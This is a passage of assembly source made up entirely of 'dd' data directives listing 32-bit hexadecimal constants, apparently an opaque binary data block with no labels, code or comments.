dd 0A6BC85h, 9CDAABAh, 29D6AB2h, 0D2DA8635h, 41D5E6CCh
dd 3ADCFABFh, 1FFB000Bh, 45905DB1h, 702CC874h, 6001CEAh
dd 0A3F01858h, 0F38B002Eh, 0A02AA5ABh, 30FA5DFAh, 0BD1BE800h
dd 5D3B002h, 60E00BAh, 6762FE2Fh, 33E8CBC2h, 0DAE281Eh
dd 90FCCAC1h, 25E81D38h, 427A97A7h, 0E5B48h, 0CD1F9E35h
dd 0D9E2F0h, 8E2BAA87h, 45785F3Ch, 0FEBAF300h, 469825B2h
dd 51680069h, 9B622FFh, 0FC00DAB7h, 0D9616DBFh, 9089EDD3h
dd 601113Bh, 6A77C09Fh, 12A24E6Bh, 4EAE949Ah, 4DE0C237h
dd 7E8B3786h, 0B7635800h, 949AD5Fh, 3C501DA8h, 0E9AECC1Eh
dd 6412122Eh, 321CF002h, 884CE36Dh, 34A1715h, 7B832F8Ch
dd 5D3B8F75h, 0B4E381A3h, 0F8D92DA9h, 0BDD320h, 0FF6D7925h
dd 393F074Fh, 835349h, 704D8A67h, 14A3A9D8h, 0FA3B3A9Dh
dd 6B4812h, 0B74FA7C3h, 1B0F8965h, 7E252B73h, 9A5DF940h
dd 0C928C3h, 6AF1CEB9h, 0E38FB73Bh, 0F6BA9D00h, 0A5C75E19h
dd 77EE00E5h, 0E7F2C5DEh, 8A302710h, 6F9A320Ah, 5C8B09B5h
dd 0B36081F6h, 6F421EEh, 0D3025A09h, 0BEC90ECh, 573D3343h
dd 0BDB96BB5h, 88F1A4D7h, 0C55D8580h, 4D94A67Dh, 0B53DAC22h
dd 99061Fh, 0FE040A39h, 0DECC23B3h, 90BDEE81h, 0D1580086h
dd 144337EAh, 3074CE3h, 0DE32D36Bh, 1587B055h, 951FD81h
dd 80E0DCF4h, 9E004A72h, 347C2492h, 0B0FC392Eh, 0FB9ACF07h
dd 7A5EA800h, 5B54AD45h, 0D5E985F0h, 937DD8A4h, 93BA60EEh
dd 0AB14C801h, 66577C59h, 509B37D8h, 0E49020h, 31A683D5h
dd 0B7013A8Ch, 0DFDEF902h, 4821B08Dh, 54506F4Bh, 4B49AFEh
dd 341A20A8h, 4847808Bh, 1291E64Dh, 88F60038h, 0C2C890D8h
dd 609EAADCh, 3939991h
dd 0E2D7FECBh, 87EA6FB3h, 72F0BC0h, 49F2BF3Bh, 912E048Fh
dd 4280D8E5h, 0EB73F2Ah, 730B4995h, 0C06B7884h, 9FAD97F0h
dd 3F220h, 0C719A636h, 82D4E9EAh, 0B12DA524h, 0F1437680h
dd 0FAC314h, 67496FA8h, 1EFB4D70h, 0D7CCB360h, 6CBE01h
dd 2274478Fh, 0A2888E16h, 0BBB6DDC2h, 40B54A54h, 24C7F4C7h
dd 401F2E98h, 88348B4Dh, 0AD5D7B05h, 0E1079524h, 0D62177DBh
dd 8160B67Eh, 5C289202h, 25024D85h, 4D13E2FDh, 0E6A414E0h
dd 0AB161513h, 0CC7ACD01h, 0C1202E9Ah, 0FD132066h, 877D40h
dd 0DEF80332h, 0B72531DDh, 3C815200h, 99E87990h, 0B2890C09h
dd 0E7AC8F27h, 3B81A00h, 8CD0FF57h, 496A489Dh, 398BB300h
dd 0CC79D180h, 79A05E4Dh, 4FB08260h, 16B48149h, 13E8E91Fh
dd 89AC0049h, 0B6625B7Ch, 97C65E05h, 7DD20853h, 0B98160D6h
dd 0FA9502ADh, 650977FFh, 0A6F003E0h, 4061000h, 8750363Ch
dd 0E964EE31h, 0FED56DD8h, 0B2FA0322h, 86FEE4EAh, 0AE121E3Bh
dd 0D7051DBBh, 0D780DF27h, 1E0C24C1h, 1A6EE16h, 9F76BEFDh
dd 3B58E489h, 50B1C00h, 0C45C31Fh, 139033h, 7F573444h
dd 0B7B95E3Ch, 6A0B3D98h, 0C1DA7280h, 52604EF0h, 0BD1EEDFh
dd 15BD9AECh, 5B5E93A0h, 0AB192C09h, 7FB4C012h, 133670h
dd 0CC1E9B36h, 84D6E9EFh, 982FA724h, 0A0A62E03h, 1880B4BAh
dd 16CD3CEh, 0B1F9A513h, 208829ABh, 4D2E7572h, 87906005h
dd 3BA00E8Eh, 38E0639Dh, 34B6C101h, 0BC765C62h, 0C08A249Dh
dd 13EA32CAh, 64014885h, 7C823592h, 229DBB96h, 0BA9AE8AAh
dd 0FC09006Dh, 1E03E1DAh, 3E06A4BFh, 5D212F19h, 11CB02FBh
dd 547F5CAEh, 1E981F50h, 0E1F4D100h, 2EA986D8h, 43D008Fh
dd 0E2DBFCB4h, 1E0EB390h, 376C499Bh, 0B2974Bh, 1D23AB4Eh
dd 8A8D6137h, 4EE9504Bh, 9E38007Dh, 1CF3CB1Dh, 0FB970030h
dd 0E58AE1DCh, 0C20110C6h, 283261F9h, 123013BBh, 152DB0D8h
dd 0ADB8A8AEh, 0C9FE03Ah, 9DE541FFh, 9DE9CFD5h, 88C0FD1Bh
dd 0D7417049h, 0A2350090h, 80EDC91Bh, 0B33B8AD2h, 81A400C5h
dd 0ECF22193h, 56E830E6h, 48F41C3Ch, 3863B4Ch, 9EA46C74h
dd 0CC1D3BB8h, 0D5307584h, 1EEBC101h, 32189D57h, 432072C0h
dd 0F7C2893h, 0FADE812Eh, 4BDCA9A7h, 838E8420h, 200E6853h
dd 0A1A58949h, 74A3D503h, 24F8220h, 8057246Ch, 1BC0913Dh
dd 440793A0h, 0F75BCD79h, 6AC3A125h, 0F5250034h, 0A6335D1Eh
dd 0FE00A0E2h, 6A1765CFh, 2CA7E3C7h, 9A4A8Dh, 1847745Eh
dd 630C3008h, 109F4B6Eh, 0F3CA3E0Dh, 6C9E3A86h, 0EE075D67h
dd 0A52EA42h, 28563C41h, 0F4E3DE80h, 0FFC51DC9h, 30F7181Ch
dd 0D8424840h, 26A71140h, 716379Ah, 51F208C9h, 0E82F5F16h
dd 713F1DB5h, 961B8F5Bh, 0E236001h, 675A4046h, 706E5A9Ah
dd 0F2CB0C17h, 0F1C8A001h, 96C92B18h, 43432E1h, 402AD2B5h
dd 9526B004h, 6B00A3E9h, 44EE191Ch, 4CE0A2h, 1D06728Ah
dd 114D73E3h, 14C425h, 0E0BD0F1Bh, 19C530F6h, 6CD0466Bh
dd 0C0162E00h, 40DCB3FBh, 4213FB7h, 365F0D0h, 98AE4E88h
dd 63CB4930h, 9D20B7E8h, 199F10Fh, 33DB6055h, 396E5EBh
dd 6C166F6Dh, 0A8A0F244h, 0AA00B0F8h, 1C84EC3Eh, 797A264Eh
dd 0BEA43D72h, 0D23BA63Dh, 66707B80h, 3F450D55h, 1AED5933h
dd 616B86Dh, 5B57072Eh, 0D0C21AAFh, 620EAD29h, 25023290h
dd 75F0BB2h, 7650D8h, 3036FE06h, 1CA72C4Ah, 0C3FE5E77h
dd 4F47DE0Eh, 0FE9C001Eh, 2B9046h, 0A33401D9h, 0C9166E1Ah
dd 4B00F00h, 64727DACh, 9EAB2957h, 0F95D31E6h, 0FD2E60DCh
dd 78791901h, 0EB0141E3h, 35820C4h, 92486C52h, 0D2B8801Eh
dd 0EDC47ECh, 0F8000E24h, 6713A62Bh, 0D0E0000Fh, 5B28E3F3h
dd 0BB30417Ch, 0C1E92DD5h, 6F7D1229h, 0C661C014h, 2B144017h
dd 58BBCA1h, 0E46A5056h, 0B97E8783h, 0EFE88FBEh, 0F5CA0012h
dd 219A3C49h, 70006875h, 3B96A34Fh, 48C5D27Eh, 0F22E0212h
dd 1F2C051Eh, 4A7F80B6h, 87073388h, 0B864597Ah, 0F5746862h
dd 0C278478h, 0BD457D24h, 276ED0CBh, 2F7E47CBh, 893B25C7h
dd 7428F028h, 6B9A3B22h, 13AAE903h, 0E8E4972h, 61824C03h
dd 3CE89B6h, 0D76C62Ch, 0C045BCFh, 34BA2095h, 5A9A7CEFh
dd 428F560Bh, 77A94C08h, 1775958Bh, 0D55F8B4Fh, 0EF172E81h
dd 3B8C4137h, 34720A8h, 0E007FD90h, 4A2DBD8h, 4B07407Eh
dd 18890E66h, 4F10E85Ch, 8F0013BAh, 0AA7FE1B6h, 7C25946h
dd 3DD62F36h, 0BB66D0BFh, 5A0A8A40h, 0B1EDF380h, 0C6AA208h
dd 2470CE8h, 0A1622F03h, 0A887048Ah, 1F4E89C9h, 0B0800F23h
dd 585B5025h, 10ABF48h, 0EF811C74h, 0C803776h, 8B06CF80h
dd 0F5C600Ah, 0E935630Ch, 980B0011h, 0A66BA53Bh, 0F5071053h
dd 8E779A70h, 808F0DC0h, 0D061500Ah, 0A4D104B1h, 0FBF08B57h
dd 87351BC0h, 0C40BFA3Ch, 847A444Bh, 0CCA300B3h, 0E0C08DFh
dd 88EC3CC0h, 56667F4h, 897441B8h, 381C400Ah, 0D33A316Fh
dd 57E07502h, 0D75B1563h, 0BE664C01h, 6075FA03h, 4B850FE2h
dd 0F62DA496h, 0AD5BD400h, 12B2ED58h, 85040083h, 285D4095h
dd 34F08926h, 688963Eh, 7C6C1225h, 6E833C08h, 0F8C1921Fh
dd 218B9799h, 0FB6BD0EDh, 311B860h, 0D0215842h, 353C1CC8h
dd 11286C98h, 460D6384h, 812D8992h, 0AEC33E44h, 0A5110138h
dd 0AA13B850h, 7C25001Ah, 0E4A10C3h, 32499915h, 0A5233702h
dd 504ADF90h, 2DC80640h, 109844FBh, 19BA8900h, 9B750A97h
dd 7911B887h, 11E0CF62h, 27C5A5h, 0D8E86584h, 3F615D08h
dd 170D5110h, 0F9BA8180h, 0E62C939h, 1649481Dh, 56AE013Eh
dd 117D08A7h, 0C12E35FCh, 25AA9138h, 0F04D61BEh, 0D3F08D54h
dd 0FD108560h, 18160A1h, 6E57DF40h, 0E304C855h, 78E0B1ABh
dd 5A7CDA5Bh, 14835628h, 79523Eh, 9D2549C6h, 0E98B5A43h
dd 50A862ECh, 0A39CFCFh, 2E798318h, 3FE508ECh, 0D32B9980h
dd 10D2B057h, 6229133Bh, 9D5B90h, 0DC3E209Fh, 3892800h
dd 87DB6DF9h, 21F361E2h, 611BF712h, 11200F71h, 0AC90D92Dh
dd 76B6809h, 20240027h, 998DE1D5h, 8587360Ch, 0C0180869h
dd 0D57B4A21h, 0BA1A8DF0h, 1588CFFh, 160D56F8h, 0DD32C050h
dd 9B7F03C7h, 932928D7h, 2C6308BEh, 0C8D55421h, 0E6C1EC0Dh
dd 2B0B0310h, 0DFD0FC85h, 9C8042DAh, 0A89BC28Dh, 83F460D1h
dd 0C9128F47h, 2C2428ECh, 466F0545h, 0A7EAE61h, 98F4A6F0h
dd 676A2140h, 30BF4600h, 6E72BE1Dh, 0EDA411AEh, 95640039h
dd 748EB40Ch, 3805000Eh, 0A6A7DEEh, 0EA00B8C3h, 6D4D7201h
dd 0B0138Dh, 0E786CD5h, 0A716A6CFh, 1F66FF3Bh, 10876AF7h
dd 2354B983h, 0DCA66080h, 0AADE126Fh, 386C046Bh, 230E054Dh
dd 0CBB18447h, 594277E0h, 0FA89004Ch, 0E6179234h, 1C9045D0h
dd 0F85538CCh, 0B4F65303h, 0B9C058A7h, 30E5A05Eh, 0F019220Eh
dd 0DF0053D9h, 0A25FD751h, 3EB6DDh, 0FC02D212h, 0EDE372B5h
dd 7E00DC91h, 0AD231591h, 354204B1h, 8122928Fh, 0DC79D227h
dd 0E761FFAh, 0CA8C8650h, 0D40662E8h, 0CDC04BC3h, 44A24C40h
dd 0A2FA771Fh, 0E85EA302h, 43580C6Ch, 0D493FCD0h, 0C5210099h
dd 6B1E856h, 0CF12B02Dh, 9C183320h, 849C3448h, 1FC39200h
dd 2CDF4E7Bh, 56D300F5h, 5ED2D08Bh, 0E3074334h, 0B4217754h
dd 0DB657D81h, 6A7FC8h, 0C7490804h, 7841FCA7h, 2800EAF0h
dd 3007ED7Ah, 0A035C8CFh
dd 7D7D1E38h, 882E5486h, 0DD9B0042h, 0A6205352h, 0FA34A8A9h
dd 0B0409187h, 759334D2h, 8890D872h, 78D8E935h, 0DC260D10h
dd 50864029h, 3F980AC7h, 0FEDD0603h, 0A01FD11Bh, 18602F64h
dd 0C08069A1h, 6D400BB9h, 0A07092B0h, 18F7E10h, 0E7FAD125h
dd 520C4A61h, 4840E3A4h, 5C1FE4F0h, 0A02AA7AEh, 7EA11000h
dd 340A99BCh, 0B989609Dh, 1E22C10Ch, 0B8185090h, 531990FBh
dd 619B004Eh, 0A48218DDh, 0CFEE6EA8h, 0B854B20Eh, 0A9AB83CCh
dd 0ED4F05Fh, 18D9C021h, 3913F4EAh, 89588D00h, 0B7D44356h
dd 44E52C2Ch, 30FD2400h, 0B85E960h, 5C615501h, 1A38A7B0h
dd 0ECD3A889h, 3F4E4010h, 0FB532500h, 1F41F62Fh, 2D520030h
dd 0BEF2EDE4h, 0E9746A84h, 0E2C9D601h, 436298Dh, 269582F4h
dd 31860E1h, 0F4EE6C7Fh, 1B0D39B8h, 0E489A9C0h, 0F15D320h
dd 7036DF7Ch, 5B493860h, 5A1EE165h, 6093FBh, 0B6EDC11Ah
dd 0DCAD88C6h, 510BAF0Fh, 91062A4h, 501C4381h, 937C1868h
dd 0E8630174h, 18800C71h, 5BCA8898h, 0F344E800h, 739D286Eh
dd 0CFC8006Ch, 6585A45Ch, 1E1D8FE9h, 0D8F0E472h, 4B46E0h
dd 66EB3D31h, 0C2919609h, 1A2D7400h, 9721C42Bh, 9C993134h
dd 24136B61h, 78ECC54Ch, 4C7BFC01h, 805C2094h, 0E359ECh
dd 0C2E98237h, 54E2FD3Fh, 93FE70F2h, 0A6A55202h, 411A5EC1h
dd 0C3F5240Ch, 45C2FC60h, 4842A484h, 82C7E0C0h, 22EF469Bh
dd 0D8573C2Eh, 83F0A69Ch, 0E53ABEB9h, 24D0D3C8h, 91055EFAh
dd 0F7BA8FDBh, 4862C092h, 0FD40464h, 6F3FDD56h, 880C9D49h
dd 5C2EDE19h, 0E8C1486h, 73E6924h, 938C51D4h, 9AB25364h
dd 14896E80h, 0A8026139h, 0E30D497h, 7C093125h, 3AEA7F17h
dd 4BCC5036h, 0BAF34300h, 0E61ECF16h, 526C2500h, 852665C7h
dd 0B08D54FAh, 0AF3A4C97h, 332A6D00h, 0E41581BDh, 8A52C501h
dd 8D926C26h, 0D8505462h, 0A665004Dh, 0DAB1A746h, 0C0B0A5F4h
dd 88018F5h, 818DDED5h, 474020C4h, 38A9D578h, 8EAC3100h
dd 11480D0Ch, 3A6076Ah, 308F1E15h, 37F2C18Ch, 4CA4DCA2h
dd 24B08707h, 860E0B0Ch, 20167Ch, 0F131BD8Dh, 0BED562D1h
dd 79336809h, 925C8167h, 60402993h, 9AFC1CD0h, 2494A3A0h
dd 11049139h, 0C7E1875Ah, 33F79BA2h, 0D95847B4h, 32F0C497h
dd 4C22108Eh, 0AF002A42h, 183BAEF0h, 9E74B90Ch, 650C489Ah
dd 893E8F92h, 4927600Eh, 638AA3CAh, 8060AA39h, 17E5736Ah
dd 0D5BA5Ch, 0C9F4047Fh, 0D36C998Ah, 0D8B06401h, 0A586ED39h
dd 0E2785830h, 9845123Dh, 566C4D70h, 7BFC4C59h, 851C3B00h
dd 0F4900536h, 8AE000D7h, 18734DEFh, 0C1180ED8h, 7DA815AAh
dd 0C910163Bh, 0EDD80340h, 5040136Ah, 58BBD4C0h, 5D466B01h
dd 3A185EAEh, 636688h, 9DD6D946h, 0F3DA0F5Bh, 688B448h
dd 36EDCF0Ah, 0C83B3B29h, 556500FEh, 20C6C203h, 0E500CFAFh
dd 0D62D7C63h, 5CBB926Ah, 0E8B7A0F4h, 5F466DC0h, 486E52AEh
dd 46656880h, 0C9A02285h, 48C054BDh, 552308C2h, 9F50094Fh
dd 2C00320Ch, 0EC6002EBh, 0AB134212h, 0C8208D5h, 5D7C48F7h
dd 2BE0695h, 21190DF9h, 0B6AF3901h, 85CE6C16h, 0BE198E4h
dd 8270623Dh, 59FCA8B0h, 90BCD00Fh, 4292848Ch, 96E5B20Fh
dd 76D8883Fh, 5D01C09Bh, 500C6BE8h, 0C488A018h, 0FFE80055h
dd 58F8645h, 413F4EDAh, 0AA8D045Bh, 0CB49CCFh, 6313018Eh
dd 2EAEFD0Eh, 0CC2821A7h, 78C926B8h, 8DFE02E9h, 9DD4E0E4h
dd 46212540h, 2C23081h, 89B00F4h, 18476B4Dh, 0D4DFB019h
dd 0CD030E45h, 81DA5F61h, 91D1804Fh, 17F1E8Ah, 53BC9AEh
dd 138500A0h, 6601EF69h, 57671134h, 0A4571F0Dh, 0B13EF371h
dd 3A86BDD8h, 9800BB14h, 5DDC6374h, 44039D84h, 309FAE64h
dd 0E3B80C06h, 2589B113h, 1D209B0Ch, 465A02Bh, 13439D86h
dd 63F4B4A8h, 0E2910C0Ah, 7F02BC24h, 50B54095h, 9A040550h
dd 0C6C1061Bh, 6FB020DAh, 78549C18h, 4034BC48h, 44FEAE16h
dd 104872EFh, 2413C9C6h, 0A8E801E6h, 811E64CFh, 3C788320h
dd 204FD662h, 81C66711h, 1D80CF4Eh, 63C40E01h, 0C54A00F8h
dd 7831DAD5h, 21C10A69h, 82AC0A0Fh, 0B19FC28Fh, 6C6AD481h
dd 0C3198009h, 2269996Dh, 0BAD210A6h, 0DD0E1372h, 109ED109h
dd 0C384E370h, 22B0D308h, 7AD9F6D8h, 0FC9809E2h, 0F856200h
dd 84D00863h, 8A78C3h, 9AA149E7h, 0A9389D6Dh, 8DA43B50h
dd 199B353Ch, 87102A45h, 2A92AC30h, 0CD42B84h, 2770C72Eh
dd 0B8C4CBE0h, 950286D7h, 0B0E00572h, 8780033Dh, 4BA59A1h
dd 438CDB00h, 0D5E4D216h, 0C85E7C00h, 0BDEF90E3h, 588907FDh
dd 8083EBEDh, 0D27DE1CFh, 0ECE95B98h, 64780BCCh, 9003E979h
dd 8E0FC561h, 6344A05Bh, 0F1B6075Ah, 1E7018Bh, 30CAE916h
dd 0B4005B3Eh, 0B65D84EFh, 5647DFEh, 5887EBC4h, 7382921h
dd 858C87D6h, 31182AC3h, 0F39208FBh, 0B080F1E1h, 5E89DCD6h
dd 1600D9F0h, 83D5C402h, 144EFFBh, 0F1D06466h, 0E0E5FF67h
dd 0CA054A5Dh, 21F869E0h, 6DF56803h, 8606C7FEh, 0C5988339h
dd 7E09047Ch, 3B10C040h, 0C0D0E796h, 9DB71718h, 4C1C3DB4h
dd 0E300CF02h, 664E27A3h, 30C0125Ah, 89BE2052h, 8818C7A4h
dd 759E82ABh, 0CBD30880h, 4F0CA544h, 0C62CA243h, 2CCC5045h
dd 0B7A705D1h, 6317BE38h, 8847EF0Ch, 355F180Ch, 75A99130h
dd 0AE59C34Fh, 790379CFh, 91963766h, 0F4400DD1h, 0EBE8D37Eh
dd 59EB4030h, 0A83722DAh, 5088F478h, 87FD58CEh, 0BF15437Eh
dd 0EFA31010h, 75B0408Ah, 4287A380h, 7BD0321Fh, 0B5A22421h
dd 7E0CBBCCh, 0D1284D62h, 0AAF6E30Eh, 5E549E51h, 0DC44320Ch
dd 0ACE4482Ch, 1E111EA7h, 8DA38126h, 0D023CBF1h, 0CA08794h
dd 9524C116h, 0B980FC39h, 4106E3B5h, 544D071Ch, 42CDA9FFh
dd 0C83D5D0h, 2BC230D2h, 27AB1468h, 919458A0h, 143B6E14h
dd 88E6E864h, 0CB15C18Dh, 408CE79Dh, 8184FBBCh, 0EC0854B8h
dd 0C4802167h, 0ACA3FE3h, 0A550CB19h, 4F165F8h, 0C2215CE0h
dd 0C013FE5Ch, 83A4799Eh, 2AAE4018h, 53D187C1h, 38228C22h
dd 0E347E48Dh, 0B9C4F215h, 98907C89h, 8D9098BAh, 90E58B82h
dd 0AC45A164h, 5C515B61h, 884CB715h, 50CC0902h, 6404D288h
dd 87D1204Ch, 0AC48A0EAh, 40FB2837h, 0A25E12E0h, 2D0C3246h
dd 80732025h, 0C9946B6h, 8CD0463Ah, 76912CB2h, 0CE0A5504h
dd 666688AEh, 16DA28E0h, 720742F4h, 0C2BA9F22h, 25ACA540h
dd 82876040h, 0C8281348h, 4680A1B6h, 0C8C99EFh, 8CFEDF28h
dd 0E354F313h, 0D6880C3Fh, 24D5EC54h, 64A811A3h, 0A380502Ah
dd 0C99467Dh, 8CA60D14h, 0D59C8124h, 10EAF611h, 0B199CE58h
dd 0C8A02744h, 61B55852h, 0C1A23412h, 0D879144Ah, 6B74106Bh
dd 5061D564h, 0A157DF2h, 11E4922Bh, 0A8DF2927h, 4AC481B7h
dd 0A68DB4C8h, 0E430ABD8h, 0AA76589Bh, 502C4D4Ch, 768DA3EFh
dd 2FD6B46h, 94A0EBECh, 9B4DBA04h, 448E6E01h, 410553CCh
dd 41337824h, 5BDC4243h, 40129024h, 6F7E0210h, 0A6631621h
dd 0E452D270h, 10F4C344h, 53EF229Ch, 1F043C8Eh, 795A9130h
dd 3C70E814h, 47DC321Eh, 47D895AEh, 0FA80043Ch, 0D77861CFh
dd 49DB1440h, 1002507Bh, 0B4598DF3h, 227CD05Ah, 0DF3C2178h
dd 0BEB9287Fh, 15005579h, 0F1C3617Ch, 52C6647Dh, 0B78F14D6h
dd 30568A06h, 0D05A930Fh, 0B56182DDh, 0ECC500EFh, 0B41E4987h
dd 38082D5h, 0CDED4745h
dd 909260E2h, 25D89F1h, 0B90218DDh, 5B5B8FD5h, 0EE108ED0h
dd 0D8C85E81h, 0E0B2D093h, 785D8D30h, 0C3B8618Ah, 93DFC531h
dd 578D590Ah, 10690CD1h, 0F21010h, 0D9B4EF7Eh, 0E0D06486h
dd 38C588A1h, 0D0244A1Ch, 5AAD20C0h, 2845843Dh, 72323C20h
dd 8812F429h, 7949CE57h, 0DA5F1E78h, 0D8AE19B0h, 0F1420E85h
dd 15EE62B9h, 0D53B819Fh, 20EA2230h, 0C3695DDCh, 24340338h
dd 587C09h, 0AC821673h, 0F411A15Ch, 0B49D3518h, 491F9A1h
dd 96C1C431h, 0C3A4875Bh, 0A91057C3h, 5F09CD34h, 20A2E052h
dd 4A075125h, 0A1C4E15Ch, 96101C18h, 363D0211h, 4A34509Dh
dd 0D314D60h, 0D0207409h, 4F282C18h, 704A1374h, 20F84823h
dd 42481B2h, 92F89147h, 0B830D305h, 0DF6B594Fh, 0FE30C6D4h
dd 0DB3179BCh, 9C4B316Dh, 0CDB75182h, 0C882892Dh, 48C8F7DAh
dd 4E348714h, 3480648Bh, 942C9C09h, 4C84E988h, 43A8D393h
dd 0A5917903h, 189B8F9Fh, 69473930h, 0A20D551h, 12C4905Bh
dd 9DC0D91Bh, 1A030FCh, 8325AD21h, 2C8637E3h, 0F26C3116h
dd 4C233C4Ah, 4A589495h, 6C920C64h, 0F3390D14h, 0CE9FAED0h
dd 0FE308A62h, 0CD38499Ch, 0A9D14C52h, 0A71C4C58h, 0B6540254h
dd 0A49094CDh, 64854393h, 3B6331BFh, 0B4B8AC19h, 0E6105CA3h
dd 435CF888h, 372A1128h, 8F85099h, 0FD7185B0h, 428DC808h
dd 42144EBEh, 2180100Bh, 1642C2FCh, 98441188h, 788E2B6Ah
dd 508A1790h, 0FA217C28h, 8B2A4223h, 106AE824h, 2FA23916h
dd 87222010h, 302772E2h, 5C99524Ah, 0A2426C24h, 601929BBh
dd 55D1004Eh, 60D948E3h, 5A3F3581h, 4061B236h, 0CFC06122h
dd 9038B13h, 4E3DABD2h, 1D9022C0h, 1609D963h, 54C4B110h
dd 1E1EB191h, 0CF067B2Bh, 4010D1E6h, 4153D02Ah, 20584338h
dd 792B6524h, 6B70055Ah, 0B53C601Ch, 0A230346Ah, 451511B7h
dd 0A0CD52BAh, 0C964DB26h, 4109481Bh, 10898D81h, 98D639F0h
dd 103A4354h, 38402EBBh, 6B591835h, 11DE1132h, 3D5CE41Eh
dd 5A5DD700h, 0FB5248Ch, 9AA073CCh, 0E353EBA0h, 0C1147AABh
dd 24AA35h, 0B44AC38Ch, 1E3B248h, 7267537Bh, 0F7F24FA4h
dd 9CB821C9h, 48C29128h, 805B4562h, 0CEEAC454h, 333816ACh
dd 0E16E0035h, 971D0180h, 2B2696F0h, 0C3005C29h, 0A28D711h
dd 0AEBB0A1Eh, 0C48ABh, 6983D42Dh, 86207E3Bh, 4BF30943h
dd 0B4E06E87h, 330650B0h, 23067EBBh, 9E42520h, 312080AFh
dd 1EDD0EFDh, 0CF439500h, 0FA17DC96h, 7CC300D8h, 0A14E5953h
dd 5A0092F3h, 0F4F3DC0h, 6FB237A9h, 599F6014h, 220919B5h
dd 1BD70000h, 157A35A6h, 2DA40277h, 2CCD4A92h, 4F26C8C0h
dd 85482748h, 14C80983h, 0F2FE3F51h, 9918D380h, 5CCFBA81h
dd 0BB8CF101h, 13412733h, 10AC3990h, 0D50C20E7h, 0F898FE92h
dd 935B7300h, 525DDB53h, 38F90C72h, 39C87E6h, 27EF8B03h
dd 0A0ED902Dh, 1CEC91F4h, 805BFF78h, 0FBAE8854h, 337CF035h
dd 77021700h, 72E516BBh, 7AE9E4EFh, 2D1D1F8Bh, 282E9B79h
dd 0F891110Fh, 0FE758016h, 78E73Bh, 770117BBh, 5AF372FFh
dd 9001C2DFh, 85F03AEFh, 700322E0h, 0F41C0391h, 8D52B98Eh
dd 0BE04B846h, 8545FEE0h, 84B420E7h, 0F520B90Ah, 0A581877h
dd 104D627Ah, 0FE60C7A1h, 2DB050CFh, 70046103h, 0CBD669F3h
dd 8180062h, 8965CDD7h, 7D0C6859h, 48CA57E5h, 0FA4700EEh
dd 0FDE167A4h, 0C002275h, 299EC0CFh, 0EC8F43h, 0D1CD5F6Ah
dd 0DF7CC7D9h, 2AA86903h, 909855E1h, 4C65ECh, 93410375h
dd 36C57B10h, 0F4948F00h, 28F1E79Eh, 96C018A8h, 5FEE18CBh
dd 703A3C31h, 2FE1DDA9h, 8D344040h, 0D95B618Bh, 8CEB4CF5h
dd 0F9E55208h, 69A902CDh, 0A2FC0A7Dh, 88B5E18h, 0BA1AB811h
dd 8B9FC3F3h, 5610013Eh, 0D21272CEh, 10688250h, 248DD3Ah
dd 4C0FA464h, 0CE9AF814h, 9FC70881h, 0C6402CDFh, 3CB1B20h
dd 0CE572276h, 7829827Dh, 0E00AD4B5h, 0F1508C7Bh, 9B89114Bh
dd 0A81B6A9h, 618C9AD2h, 8C731588h, 110ADB03h, 85ABDA14h
dd 0C48DFB2h, 6C1F8C54h, 76C3F8EFh, 0E7C206ADh, 0A15789BCh
dd 48896948h, 2831DC9Bh, 6445E293h, 4983C371h, 87E4C871h
dd 0D85A2FE1h, 51F82332h, 0F6BB2E07h, 72208AECh, 1EF885FDh
dd 0FC730331h, 0C578F22Ch, 0ED50812Ch, 54C3E217h, 19972DE0h
dd 8E34FD00h, 51F026F8h, 8B4F14D6h, 7EC04437h, 3ADA3FD0h
dd 51DF10Ah, 0F761043Bh, 3CF13312h, 8000C4Dh, 502DF3A6h
dd 0A65420E5h, 1FAF2930h, 10551F08h, 5B0FDF46h, 0A0678A4Ch
dd 13DD4074h, 0C8E311CAh, 177361E4h, 0FF89217Eh, 4F10E05Fh
dd 431B3ACAh, 0E9999588h, 104D2509h, 0CBF10819h, 13700404h
dd 0B76309B1h, 1379C19Ch, 960C48C1h, 408CBC56h, 1D1BAF50h
dd 96285019h, 94C6431h, 9146484Dh, 44502247h, 5B895A51h
dd 55245412h, 4F914E48h, 59445822h, 12438942h, 4F3D243Ch
dd 36B8036h, 70B06302h, 975D2910h, 0B8653AF4h, 51842C54h
dd 54D604A5h, 0A03B085Eh, 1C38EDBCh, 83A852E0h, 589502CAh
dd 0E894C3E1h, 2E1C7044h, 0E687E153h, 0F867F238h, 10E74AC7h
dd 0C0C762C4h, 0F0C340EDh, 812EB7CAh, 70430023h, 0FDF4F88Eh
dd 94C082E0h, 87FED748h, 9255FF04h, 88B3DFh, 45FC0B7Bh
dd 8B0A12A7h, 4A540DF1h, 0FE89B038h, 0A35D101Ch, 0F14203DCh
dd 2245631Dh, 18824409h, 5DF50417h, 4474D4C0h, 0D3DC0112h
dd 0C0E08E1Dh, 751041C7h, 3895F613h, 0D292AC60h, 1F9B7F44h
dd 38D76212h, 6A185830h, 2B3D5C3Ch, 36EE0591h, 1C0F5708h
dd 0EA958354h, 334FF8E1h, 5E28A4DFh, 6E4A76Fh, 95500609h
dd 320A10B9h, 5EF8753Dh, 1B0C9203h, 0C0B94541h, 0DCAF48h
dd 0F9770419h, 0FBAE51FDh, 78F43801h, 53541CFEh, 72F0A0CFh
dd 622700EFh, 0EC20ED76h, 131FFE74h, 3381A494h, 270C8803h
dd 7A028AD0h, 0DC92002Dh, 1987EF11h, 0F1F8E933h, 0EC5A40C0h
dd 58EF016h, 90EF3822h, 405EDBh, 0F23BF185h, 523A0A76h
dd 27F70F39h, 0D83014E9h, 29E62E98h, 821CFE84h, 77E73313h
dd 0F9948D00h, 85E90A38h, 68602EF8h, 0E69755ECh, 0AC83A4E8h
dd 0F2A1275Ch, 7E185D1Dh, 22AA4CCh, 1DB9473Fh, 2CB884FCh
dd 77030339h, 450238EAh, 7F61E0ADh, 0E5FE29B9h, 8D9F38h
dd 98617807h, 0F31439F8h, 0A414F772h, 0FEDB4070h, 7510058h
dd 0FD90E811h, 7F2AF133h, 0F904F8F8h, 0AF49F51Dh, 0C0BA9CCAh
dd 0F60C7A62h, 0EAE004Fh, 0DCA74519h, 801D0267h, 88032BECh
dd 0E8422FFEh, 4C032607h, 7874008Bh, 5428C185h, 24611DBEh
dd 9000FE98h, 7F2960F0h, 9FEC1CFFh, 5063F043h, 0D7368D28h
dd 645B0192h, 616CA020h, 3BED1277h, 50EC1AFFh, 435D74B0h
dd 54915165h, 80AE1CCBh, 91F30DACh, 0E93901F9h, 59220E33h
dd 98B22A72h, 580F02C9h, 638559C7h, 0B9A2F020h, 43A862F5h
